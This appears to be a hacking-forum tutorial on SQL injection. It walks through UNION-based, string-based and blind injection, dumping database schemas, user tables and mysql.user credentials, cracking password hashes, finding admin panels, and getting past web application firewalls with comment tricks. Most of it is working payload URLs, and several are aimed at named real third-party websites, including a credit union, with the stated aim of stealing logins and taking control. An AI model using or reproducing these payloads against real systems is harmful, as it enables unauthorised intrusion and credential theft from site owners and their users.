[TUT] SQL Injection(Pics) [Highly Detailed] [10K+ Views]

I won't go into detail on what SQLi is, you can google that for yourself.

Starting Off
First off, you need to find a vulnerable site. Easy ways to find vulnerable sites is to use google dorks, or you can use a list of sites.
Here's a list of both.
Google Dorks
Vulnerable Sites #1
Vulnerable Sites #2
Vulnerable Sites #3

Vulnerable Sites (With Syntax)
So after you got a vulnerable site, to test if you can inject, add a ' to the end of the url.
I'll be using this site
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=12

As you can see, it loads perfectly fine, with no error. Now to see if it's vulnerable, add a ' to the end, so it should look like this.
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=12'
Now you should get an error that looks like this.

Finding The Amount Of Columns
Now that you found a vulnerable site, you need to find the amount of columns.
You can do this by using the "Order By" function. We'll start by guessing at 5.
So take your url, and remove the ' from the end of it, and add +order+by+5--
Your link should now look like this:
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=12+order+by+5--
As you can see, it loads perfectly fine, so you're going to want to increase it until you get an error that says "Unknown column '(Column Count Here)' in 'order clause'".
It looks like this:
So now that you got your error, you're going to want to decrease until you get a perfectly loaded page.
I got the error at
Code:
+order+by+14--
so I'm going to try
Code:
+order+by+13--

So my link looks like this now, and loads perfectly fine.
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=12+order+by+13--

Finding Vulnerable Columns
So now that you got the amount of columns, you're going to want to see which ones you can get data from.
You do this by using the "Union+Select" or "Union+All+Select" Function. First, you add a - in front of your ID Number.
It should look like this:
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=-12
Or, instead, you can change the number to null, since that's what the - is doing.
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null
Then you want to use the Union Select function, so you add +union+select+(Column Count Here)--
So for each column, you add it.
My link now looks like this:
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--

Now the site looks like this, so we know that 2,3, and 4 are vulnerable columns.

Getting MySQL Version
First off, we want it to be 5 or more. If it was less than 5, you would use error based injection (I won't cover that).
So pick one of your vulnerable columns, and replace it with either:
Code:
@@version
Or
Code:
version()
I'm gonna use column 2, so now my link looks like this..
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+Select+1,@@Version,3,4,5,6,7,8,9,10,11,12,13--
And my page looks like this..

Getting Table Names
Now that we got our version, we want to get our tables from the database.
Do this by using a few functions.
Code:
group_concat(table_name)
Code:
from+information_schema.tables
Code:
+where+table_schema=database()--

So pick a vulnerable column, and replace it with group_concat(table_name).
Then you want to add +from+information_schema.tables after your column count, and +where+table_schema=database()--
Your link should look something like this.
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+Select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12 ​,13+from+information_schema.tables+where+table_schema=database()--
And your site should now display the tables from the database.

As you can see, it looks all fucked up..in order to fix that, you can add 0x0a after table_name in your brackets, which means New Line.
So my link looks like this:
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+Select+1,group_concat(table_name,0x0a),3,4,5,6,7,8,9,10, ​11,12,13+from+information_schema.tables+where+table_schema=database()--
And, the site doesn't look all fucked up anymore <3
Now as you see, we have a table called users, and that's what we want.

Getting Columns Out Of Tables
To do this, we use a few more functions similar to finding tables.
Code:
group_concat(column_name)
Code:
information_schema.columns
Code:
where+table_name="TABLE NAME HERE"

So now my link looks like this...
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+Select+1,group_concat(column_name,0x0a),3,4,5,6,7,8,9,10 ​,11,12,13+from+information_schema.columns+where+table_name="users"--
Unfortunately, we get an error. To bypass this, convert your table name into ASCII value.
The ASCII value of users looks something like this:
Code:
char(117,115,101,114,115)
To get the ASCII value, you can use this site HERE

So now my link looks like this:
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,group_concat(column_name,0x0a),3,4,5,6,7,8,9,10 ​ ,11,12,13+from+information_schema.columns+where+table_name=char(117,115,101,114, ​115)--
And the site looks like this:
As you can see, we have some important columns there...now we want to get the data from them.

Getting Data From Columns
Ok, so I see ID, username, and password, and that's what I want.
Now, we just replace a few things.
Code:
group_concat(ID,0x3a,username,0x3a,password,0x0a)
Code:
from+Table Name Here
My link now looks like this:
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,group_concat(ID,0x3a,username,0x3a,password,0x0 ​a),3,4,5,6,7,8,9,10,11,12,13+from+users--

So lets break that down a bit...
The 0x0a means New Line, as I said earlier, and 0x3a means colon.
So I added 0x3a after ID, and username, so it should look something like this.

ID:Username:Password

Instead of using +from+information_schema.tables or +from+information_schema.columns, we just want it from the users table.

So we do +from+users--

So, my finished link looks like this:
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,group_concat(ID,0x3a,username,0x3a,password,0x0 ​a),3,4,5,6,7,8,9,10,11,12,13+from+users--

And finally, the site looks like this:

Getting Data From Multiple Databases

I'll be using this link as an example.
Code:
http://www.hubbardbrook.org/people/view.php?id=109'

Once you got your columns count, and vulnerable columns, you want to get the names of the databases.
You can do that by using:
Code:
group_concat(schema_name)
&
Code:
from information_schema.schemata

So my link looks like this:
Code:
http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14,15,16, ​17,18,19,20,21,22,23,24,25+from+information_schema.schemata--

Now I see that there are 2 different databases, one called "hbr" and one called "mysql". Now we want to see which one is the default, or current one. First write those down in notepad or something.

To find out, you pick your column, and use:
Code:
database()
So now my link looks like this:
Code:
http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(database()),5,6,7,8,9,10,11,12,13,14,15,16,1 ​7,18,19,20,21,22,23,24,25--

Now where column 4 was (my vulnerable column), we can see "hbr". So we know that's the current database. Now of course, you'd want to search through it to find your tables to see if you can find some login info. You would get the tables the normal way:
Code:
http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,1 ​ 7,18,19,20,21,22,23,24,25+from+information_schema.tables+where+table_schema=data ​base()--

There's over 100 tables, but I didn't see anything that resembled user info, so now we check the other database. It's almost the same thing as finding the default tables. My other database name was called "mysql".
To get the tables of that, we convert it to hex, and use:
Code:
where+table_schema=0xdatabasehexhere
So the hex of "mysql" is 6d7973716c
Make sure you always add 0x in front of your hex.
Now my link looks like this:
Code:
http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,1 ​ 7,18,19,20,21,22,23,24,25+from+information_schema.tables+where+table_schema=0x6d ​7973716c--

Now we got the tables from the second database, and we can see that theres a table named user!

Now we get the info from the users table, but make sure you keep the table_schema for that database. So now my link looks like this:
Code:
http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16, ​ 17,18,19,20,21,22,23,24,25+from+information_schema.columns+where+table_schema=0x ​6d7973716c+and+table_name=0x75736572--

0x75736572 is the hex of "user". So basically what I did was converted my table name to hex, and got the columns from the database.
Now we want the data from the columns. It's still almost the same, except for the very last bit.
There are 2 columns named "User" and "Password", which is what we want.
So make your group_concat function, but at the end, the syntax would be:
Code:
+from+databasename.tablename
So now my link looks like this:
Code:
http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(User,0x3a,Password,0x0a),5,6,7,8,9,10,11,12, ​13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user--

And as you can see, there are now logins where your column name was.

Conclusion
As you can see, theres a username called admin. Now you can say to yourself "Fuck yeah, I got your login".
Hold up, it's not that easy...almost everytime, the passwords are encrpyted one way or another, whether it's MD5, SHA1, Base64, and others....

You can attempt to crack them using a few sites, here's one that I use.
MD5Decrypter
HashChecker

Now you need to find the admin control panel, where you can login and do what the fuck you want...
Here's an online one that I use...
OutLaws Admin Finder
Admin Page Finder

HaviJ also has a password cracker and admin page finder.

String Based Injection

Is order by not working? Here's your solution.

Example:
Code:
www.site.com/dork.php?id=5+order+by+100--
You still get no errors, which is highly unlikely. Sometimes sites have a huge number, but it's usually not over 50.

To fix that, just add a ' after your id, and +- at the end of your syntax.
Example:
Code:
www.site.com/dork.php?id=5'+order+by+100--+-

Now you should get your error. Continue to use union select how I explained previously.

WAF Bypassing

WAF stands for web application firewall, which is web security that protects the site from being attacked.

Web application firewalls block out certain phrases.
Here are a few.

Code:
union
select
from
information_schema
concat
group_concat
where
and
@@version

How do you know if a firewall is installed?
Usually when you're trying to use the union select command, you'll get an error that says something like this.

Code:
Forbidden

You don't have permission to access /index.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

I'll use this site as an example.
Code:
http://www.timberwatch.org.za

After a bit, I found the site has 15 columns, so now I want to use union select to find the vulnerable ones.

When I tried it, I got my error.
Code:
http://www.timberwatch.org.za/index.php?id=-49+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

To bypass these, comment out some of the phrases I listed earlier, by using comment tags.

Code:
/*!*/

Examples"
Code:
/*!union*/
/*!select*/
/*!from*/
/*!information_schema*/
/*!concat*/
/*!group_concat*/
/*!where*/
/*!and*/
version()

Blocked:
Code:
http://www.timberwatch.org.za/index.php?id=-49+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

Bypassed:
Code:
http://www.timberwatch.org.za/index.php?id=-49+/*!union*/+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

Blocked:
Code:
http://www.timberwatch.org.za/index.php?id=-49+/*!union*/+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15--

Bypassed:
Code:
http://www.timberwatch.org.za/index.php?id=-49+/*!union*/+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15--

Concat and the Limit Function

WAF has group_concat blocked? Use concat and limit to get around that.

Limit is to get around the limit of characters...lets say you want a list of all the tables. Sometimes it won't show them all because the amount of characters to be displayed has a limit. You use the limit function to get around that.

You change

Code:
group_concat(table_name)
to
Code:
concat(table_name)
Of course, adding this at the end.
Code:
limit 0,1--

So what that will do is show the first table, and the first table only.
To show the next table, change the 0 to 1.
Code:
limit 1,1--

Then you keep increasing until you find the table you want. If you get an error, it's because you already passed the last table.

Blind Injection (Advanced)

Blind injection is a lot harder then the other types, it requires skill and patience. To check for a vulnerability, you must go based off of true and false statements. If your statement is false, and anything is missing off the page (pictures, videos, words, content), then it's vulnerable.

Example:
Code:
www.site.com/dork.php?id=10+and+1=1

1 is equal to one, so that statement is true.

Code:
www.site.com/dork.php?id=10+and+1=2

1 doesn't equal 2, so this should return false. Now check and see if anything is missing.

Getting the Database Version

You have to guess the version, and use substring to check if it's true/false.

Code:
www.site.com/dork.php?id=10+and+substring(version(),1,1)=5

If that returns true (nothing missing from the page), then your version is 5. If not, your version is less. You can double check by doing the same thing, but replacing 5 with 4.

Code:
www.site.com/dork.php?id=10+and+substring(version(),1,1)=4

Getting the Table Names

You have to guess the table names, just like everything else.

Code:
www.site.com/dork.php?id=10+and+(select+1+from+admin)=1

If this returns true (nothing missing from the page, then the admin table exists.

Here are some common table names.
Code:
admin
admins
tbl_admin
tbladmin
member
members
tbl_members
tblmembers
user
users
tbl_users
tblusers
wp_users

Getting the Column Names

After you got your table name, you have to guess the columns.
Code:
www.site.com/dork.php?id=10+and+(select+substring(concat(1,admin_id,0x3a,admin_login,0x3a,adm​in_pass)+from+admin+limit+0,1)=1

If you get an error, one of the columns doesn't exist. So try one by one, and guess until you get the right one (nothing missing from the page).

Here are some common column names.

Code:
id
user_id
username
user
password
pass
passwd
pword
pwd
user_password
user_login
login

Getting Data From Your Columns

After you got your main information, you have to guess the characters ascii value, until you find the right one, then move on to the next one.

Code:
http://www.site.com/dork.php?id=10+and+ascii(substring((select concat(admin_id,0x3a,admin_login,0x3a,admin_pass)+from+admin+limit+0,1),1,1))>100

If nothing is missing from the page, your first letters ascii value is 100. If you get your error, then decrease until you get the right value.

To get the next character, you just add 1, just how I explained in the limit function.

Code:
http://www.site.com/dork.php?id=10+and+ascii(substring((select concat(admin_id,0x3a,admin_login,0x3a,admin_pass)+from+admin+limit+0,1),2,1))>100

You do that until you get all of your characters. You can tell it's the last character if the ascii value is less then 0.

Code:
http://www.site.com/dork.php?id=10+and+ascii(substring((select concat(admin_id,0x3a,admin_login,0x3a,admin_pass)+from+admin+limit+0,1),2,1))>0

Here's a site you can use to convert ascii to text.

ASCII Table

Well, hope you guys understood everything. PM me or post here if you have any questions, and I'll get back to you asap.

Credits
kobez - Dork List
DAN_UK - Hash cracking sites.

PM me for if you need help with anything.